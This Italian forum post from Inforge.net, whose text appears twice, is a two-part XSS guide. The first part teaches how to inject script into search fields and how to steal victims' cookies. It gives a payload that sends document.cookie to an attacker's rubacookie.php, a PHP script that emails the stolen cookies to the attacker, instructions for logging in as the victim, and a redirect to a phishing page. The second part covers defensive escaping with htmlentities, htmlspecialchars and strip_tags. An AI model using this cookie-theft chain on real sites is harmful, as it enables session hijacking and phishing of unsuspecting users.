Ultima modifica da un moderatore:
PARTE 1: ATTACCARE CON LE XSS
+ Difficoltà: Media
+ Conoscenze necessarie: HTML, Javascript
+ Autore : murdercode
+ Email : murdercode(at)gmail(dot)com
+ Sito : http://www.inforge.net
# Licenza e Condizioni (Disclaimer)
Il seguente documento è da ritenersi a puro scopo informativo . Io , Stefano Novelli (alias "murdercode") , non mi assumo
alcuna responsabilità circa l'uso delle informazioni presenti in questo documento .
I link esterni non sono sotto il totale controllo dello staff di Inforge ( http://www.inforge.net ) .
L'autore si riserva il diritto di aggiornare la licenza di utilizzo del documento e le relative condizioni senza la comunicazione pubblica.
Il seguente documento è protetto da licenza Creative Commons 2.5 Italia .
Note dall'autore : il seguente testo può essere utilizzato per la pubblicazione su altri portali esterni dalla comunità di hacking italiana Inforge.net , purchè non modificato in ogni sua parte . In caso di un eventuale copia-incolla su altri portali evitare di utilizzare i tag code , quote o altri che possono modificare la formattazione di tale documento .
HOW TO - Come Sfruttare le XSS (Cross Site Scripting)
# Introduzione
(Attenzione, in questa guida si danno per scontati numerosi termini, se non ne conosci uno informati prima di proseguire, o non sarai mica un lamer?!?)
La tecnica del Cross Site Scripting (XSS,una sigla da non confondere con CSS , un linguaggio di programmazione markup dedicato esclusivamente alla formattazione di testo e dati sul web) fa parte della famiglia dei "code injection" e può rappresentare un pericolo di sicurezza su qualsiasi server , piattaforma , di qualsiasi linguaggio web , dinamico o statico.
Tale tecnica consiste nel far iniettare ad una vittima codice scripting (in questo caso Javascript) all'interno di una pagina web; tale codice andrà poi a recuperare informazioni riservate dell'utente (e del suo browser) e inoltrarle all'attacker.
# Trovare una XSS
Come abbiamo detto la tecnica del cross site scripting consiste nel far eseguire al browser degli script non originari . Quello che dobbiamo fare è far si che la pagina contenga del codice (preferibilmente javascript) all'interno della pagina , avendo così la possibilità di sfruttarla. Vediamo come funziona brevemente :
Prendiamo ad esempio un motore di ricerca . Avrà una input dove verranno inseriti dei dati , come nell'esempio :
Ipotizziamo che il valore che inseriamo dentro la input ha come valore pippo, quindi il risultato sarà:
Vediamo ora come far eseguire del codice Javascript .
Se noi andremo a cercare la stringa "><script>alert("xss");</script> uscirà fuori questo tipo di input :
Quindi la input viene chiusa e viene eseguito il javascript .
Ovviamente esistono altre mille modi , altro esempio :
Dando il valore </textarea><script>alert("xss");</script><textarea> uscirà qualcosa del genere :
E' possibile fare ciò anche per i background , bgcolor , parametri p e tutti quei parametri che possono essere inviati tramite GET o POST o assegnati dalla querystring del browser .
# Riconoscere una XSS buona da una cattiva
Solitamente esistono due tipi di XSS : quelle pubbliche e quelle private .
1. Per XSS pubblica intendiamo una vulnerabilità che risiede su un CMS o su una struttura web dedicata all'utilizzo
di terze parti .
2. Per XSS privata intendiamo una vulnerabilità che risiede in un sito web con CMS privato , quindi non pubblico dove l'utilizzo di tale CMS è riservato solo al server che lo utilizza .
Quando si parla di XSS che grabba (quindi buona) vuol dire che è possibile sfruttare quella vulnerabilità per impossessarsi solitamente dei cookie di chi andrà a visitare il link . Qualora la XSS non grabba (quindi cattiva) può essere comunque utilizzata per fare azioni di Phishing .
# Sfruttare una XSS buona
Solitamente ci capiterà di vedere qualcosa tipo
oppure tipo
Vien da se che il codice <script> e [XSS] sono la stessa cosa.
In questo modo è possibile inviare la vittima di turno (a cui prendermo i cookie) verso una pagina costruita da noi dove invieremo in metodo GET (quindi tramite barra degli indirizzi) il valore dei cookie .
Dal codice visto precedentemente costruiamo un redirect verso una nostra pagina che costruiremo poi in php .
Andiamo ora a costruire la pagina rubacookie.php
In questo modo invieremo a noi stessi una mail con i cookie rubati .
Cosa ce ne facciamo ?
Incolliamo i cookie nel nostro computer (esistono milioni di Cookie Manager per i browser)
refreshiamo la pagina dove abbiamo rubato i cookie e , se abbiamo fatto tutto correttamente , dovremo ritrovarci loggati come user rubato .Da qui vola l'immaginazione.
# Sfruttare una XSS cattiva
Riprendendo il discorso di come è strutturata una XSS possiamo sfruttarla comunque . Spiego : anche se non è possibile rubare i cookie possiamo sempre redirectare la vittima verso una pagina creata da noi , in questo caso parliamo di phishing .
Per effettuare del phishing ci basterà costruire la XSS in questo modo :
A questo punto ci basta costruire la pagina phishing.htm , magari riprendendo la stessa struttura grafica e le stesse funzionalità del sito che abbiamo scelto di attaccare .
PARTE 2: DIFENDERSI DALLE XSS
-------------------------------
Autore: Langy
Data: 19-02-2008
Copyright: GoogleBig
-------------------------------
Link utili:
http://www.gnucitizen.org/xssdb/application.htm (Attack Database)
XSSed | Cross Site Scripting (XSS) attacks information and archive (Mirror Archive of Vulnerable Websites)
XSS (Cross Site Scripting) Cheat Sheet (XSS Cheat sheet)
DeXSS -- Java program for removing JavaScript from HTML (Removing JavaScript from HTML)
Cross-site scripting - Wikipedia, the free encyclopedia
PHP: htmlentities - Manual
PHP: htmlspecialchars - Manual
PHP: strip_tags - Manual
-------------------------------
Per fixare il problema delle xss dobbiamo usare una delle 2 funzioni di php.
Querste funzioni non fanno altro che ripulire il codice HTML, ovvero i tag, per non far si' che questi vengano iniettati nel codice.
La funzione piu' utilizzata e' htmlspecialchars() che tramuta tutti i caratteri < e > in < e >
Un'altra opzione e' htmlentities() che sostituisce tutti i caratteri nelle corrispondenti entita'.
Un esempio di htmlentities()
Il primo visualizzera' --> A 'quote' is <b>bold</b>
Il secondo --> A 'quote' is <b>bold</b>
Esempio di uso di htmlspecialchars()
Questo visualizzera' --> <a href='test'>Test</a>
La funzione strip_tags(), invece, elimina tutti gli elementi html, tranne alcuni elementi consentiti che bisogno specificare come ad esempio <i>, <b> o <p>.
Esempio di uso di strip_tags()
Ora che sappiamo per lo meno che esistono queste funzioni gia' belle e pronte dobbiamo andarle ad applicare nel codice quando troviamo una xss sulla nostra web application.
Recentemente ho trovato una xss sul mio sito in una sezione dei video di GoogleBig che altro non e' che un plugin di Mybb, vi posto una porzione di codice per rendere l'idea di come ho dovuto applicare la funzione per far si' che nella ricerca dei video venissero filtrati i tag html.
Troviamo prima di tutto la pagina in questione: search.php
Ora andiamoci a cercare la porzione di codice che rende disponibile la ricerca, la query e l'output del risultato della query:
In questo caso la variabile che passa i valori e' $query quindi andiamo ad applicare la funzione htmlentities():
Se avete problemi postate qui, oppure consultate i manuali di php su queste 3 funzioni che abbiamo visto:
PHP: htmlentities - Manual
PHP: htmlspecialchars - Manual
PHP: strip_tags - Manual
Dedicato a Infernet
+ Difficoltà: Media
+ Conoscenze necessarie: HTML, Javascript
+ Autore : murdercode
+ Email : murdercode(at)gmail(dot)com
+ Sito : http://www.inforge.net
# Licenza e Condizioni (Disclaimer)
Il seguente documento è da ritenersi a puro scopo informativo . Io , Stefano Novelli (alias "murdercode") , non mi assumo
alcuna responsabilità circa l'uso delle informazioni presenti in questo documento .
I link esterni non sono sotto il totale controllo dello staff di Inforge ( http://www.inforge.net ) .
L'autore si riserva il diritto di aggiornare la licenza di utilizzo del documento e le relative condizioni senza la comunicazione pubblica.
Il seguente documento è protetto da licenza Creative Commons 2.5 Italia .
Note dall'autore : il seguente testo può essere utilizzato per la pubblicazione su altri portali esterni dalla comunità di hacking italiana Inforge.net , purchè non modificato in ogni sua parte . In caso di un eventuale copia-incolla su altri portali evitare di utilizzare i tag code , quote o altri che possono modificare la formattazione di tale documento .
HOW TO - Come Sfruttare le XSS (Cross Site Scripting)
# Introduzione
(Attenzione, in questa guida si danno per scontati numerosi termini, se non ne conosci uno informati prima di proseguire, o non sarai mica un lamer?!?)
La tecnica del Cross Site Scripting (XSS,una sigla da non confondere con CSS , un linguaggio di programmazione markup dedicato esclusivamente alla formattazione di testo e dati sul web) fa parte della famiglia dei "code injection" e può rappresentare un pericolo di sicurezza su qualsiasi server , piattaforma , di qualsiasi linguaggio web , dinamico o statico.
Tale tecnica consiste nel far iniettare ad una vittima codice scripting (in questo caso Javascript) all'interno di una pagina web; tale codice andrà poi a recuperare informazioni riservate dell'utente (e del suo browser) e inoltrarle all'attacker.
# Trovare una XSS
Come abbiamo detto la tecnica del cross site scripting consiste nel far eseguire al browser degli script non originari . Quello che dobbiamo fare è far si che la pagina contenga del codice (preferibilmente javascript) all'interno della pagina , avendo così la possibilità di sfruttarla. Vediamo come funziona brevemente :
Prendiamo ad esempio un motore di ricerca . Avrà una input dove verranno inseriti dei dati , come nell'esempio :
HTML:
<form id="form1" name="form1" action="pippo.php" method="get"><input type="text" id="cerca" name="cerca" value="lamiaricerca"></form>
HTML:
<input type="text" id="cerca" name="cerca" value="pippo">
Se noi andremo a cercare la stringa "><script>alert("xss");</script> uscirà fuori questo tipo di input :
HTML:
<input type="text" id="cerca" name="cerca" value=""><script>alert("xss");</script>">
Ovviamente esistono altre mille modi , altro esempio :
HTML:
<textarea>lanostraricerca</textarea>
HTML:
<textarea></textarea><script>alert("xss");</script><textarea></textarea>
# Riconoscere una XSS buona da una cattiva
Solitamente esistono due tipi di XSS : quelle pubbliche e quelle private .
1. Per XSS pubblica intendiamo una vulnerabilità che risiede su un CMS o su una struttura web dedicata all'utilizzo
di terze parti .
2. Per XSS privata intendiamo una vulnerabilità che risiede in un sito web con CMS privato , quindi non pubblico dove l'utilizzo di tale CMS è riservato solo al server che lo utilizza .
Quando si parla di XSS che grabba (quindi buona) vuol dire che è possibile sfruttare quella vulnerabilità per impossessarsi solitamente dei cookie di chi andrà a visitare il link . Qualora la XSS non grabba (quindi cattiva) può essere comunque utilizzata per fare azioni di Phishing .
# Sfruttare una XSS buona
Solitamente ci capiterà di vedere qualcosa tipo
Codice:
www.sito.it/pagina.php?variabile="><script>alert(document.cookie)</script>
Codice:
www.sito.it/pagina.php?variabile=">[XSS]
In questo modo è possibile inviare la vittima di turno (a cui prendermo i cookie) verso una pagina costruita da noi dove invieremo in metodo GET (quindi tramite barra degli indirizzi) il valore dei cookie .
Dal codice visto precedentemente costruiamo un redirect verso una nostra pagina che costruiremo poi in php .
Codice:
www.sito.it/pagina.php?variabile="><script>location.href="SITO"+document.cookie;</script>
Dove SITO verrà sostituito con
[code]www.nostrosito.it/rubacookie.php?cookie=
PHP:
<?
mail("[email protected]","Abbiamo rubato i cookie",$_GET['cookie']);
?>
Cosa ce ne facciamo ?
Incolliamo i cookie nel nostro computer (esistono milioni di Cookie Manager per i browser)
refreshiamo la pagina dove abbiamo rubato i cookie e , se abbiamo fatto tutto correttamente , dovremo ritrovarci loggati come user rubato .Da qui vola l'immaginazione.
# Sfruttare una XSS cattiva
Riprendendo il discorso di come è strutturata una XSS possiamo sfruttarla comunque . Spiego : anche se non è possibile rubare i cookie possiamo sempre redirectare la vittima verso una pagina creata da noi , in questo caso parliamo di phishing .
Per effettuare del phishing ci basterà costruire la XSS in questo modo :
Codice:
www.sito.it/pagina.php?variabile="><script>location.href="www.nostrosito.it/phishing.htm";</script>
PARTE 2: DIFENDERSI DALLE XSS
-------------------------------
Autore: Langy
Data: 19-02-2008
Copyright: GoogleBig
-------------------------------
Link utili:
http://www.gnucitizen.org/xssdb/application.htm (Attack Database)
XSSed | Cross Site Scripting (XSS) attacks information and archive (Mirror Archive of Vulnerable Websites)
XSS (Cross Site Scripting) Cheat Sheet (XSS Cheat sheet)
DeXSS -- Java program for removing JavaScript from HTML (Removing JavaScript from HTML)
Cross-site scripting - Wikipedia, the free encyclopedia
PHP: htmlentities - Manual
PHP: htmlspecialchars - Manual
PHP: strip_tags - Manual
-------------------------------
Per fixare il problema delle xss dobbiamo usare una delle 2 funzioni di php.
Querste funzioni non fanno altro che ripulire il codice HTML, ovvero i tag, per non far si' che questi vengano iniettati nel codice.
La funzione piu' utilizzata e' htmlspecialchars() che tramuta tutti i caratteri < e > in < e >
Un'altra opzione e' htmlentities() che sostituisce tutti i caratteri nelle corrispondenti entita'.
PHP:
<?
// questa pagina mostra un esempio
// delle differenze di output tra le 2 funzioni
$input = '<script>alert(1);</script>';
echo htmlspecialchars($input) . '<br />';
echo htmlentities($input);
?>
Un esempio di htmlentities()
PHP:
<?php
$str = "A 'quote' is <b>bold</b>";
echo htmlentities($str);
echo htmlentities($str, ENT_QUOTES);
?>
Il primo visualizzera' --> A 'quote' is <b>bold</b>
Il secondo --> A 'quote' is <b>bold</b>
Esempio di uso di htmlspecialchars()
PHP:
<?php
$new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $new;
?>
La funzione strip_tags(), invece, elimina tutti gli elementi html, tranne alcuni elementi consentiti che bisogno specificare come ad esempio <i>, <b> o <p>.
Esempio di uso di strip_tags()
PHP:
<?php
$text = '<p>Test paragraph.</p><!-- Comment --> Other text';
echo strip_tags($text);
echo "\n";
// allow <p>
echo strip_tags($text, '<p>');
?>
Ora che sappiamo per lo meno che esistono queste funzioni gia' belle e pronte dobbiamo andarle ad applicare nel codice quando troviamo una xss sulla nostra web application.
Recentemente ho trovato una xss sul mio sito in una sezione dei video di GoogleBig che altro non e' che un plugin di Mybb, vi posto una porzione di codice per rendere l'idea di come ho dovuto applicare la funzione per far si' che nella ricerca dei video venissero filtrati i tag html.
Troviamo prima di tutto la pagina in questione: search.php
Ora andiamoci a cercare la porzione di codice che rende disponibile la ricerca, la query e l'output del risultato della query:
PHP:
function search($query, $page)
{
global $db, $bgcolor2, $bgcolor4, $sitename, $io_db, $module_url, $list_page_items, $hm_index;
$option = trim($option);
$query = trim($query);
$query = FixQuotes(nl2br(filter_text($query)));
$db->escape_string($query);
$db->escape_string($option);
alpha_search($query);
...
In questo caso la variabile che passa i valori e' $query quindi andiamo ad applicare la funzione htmlentities():
PHP:
$query = FixQuotes(nl2br(filter_text(htmlentities($query))));
Se avete problemi postate qui, oppure consultate i manuali di php su queste 3 funzioni che abbiamo visto:
PHP: htmlentities - Manual
PHP: htmlspecialchars - Manual
PHP: strip_tags - Manual
Dedicato a Infernet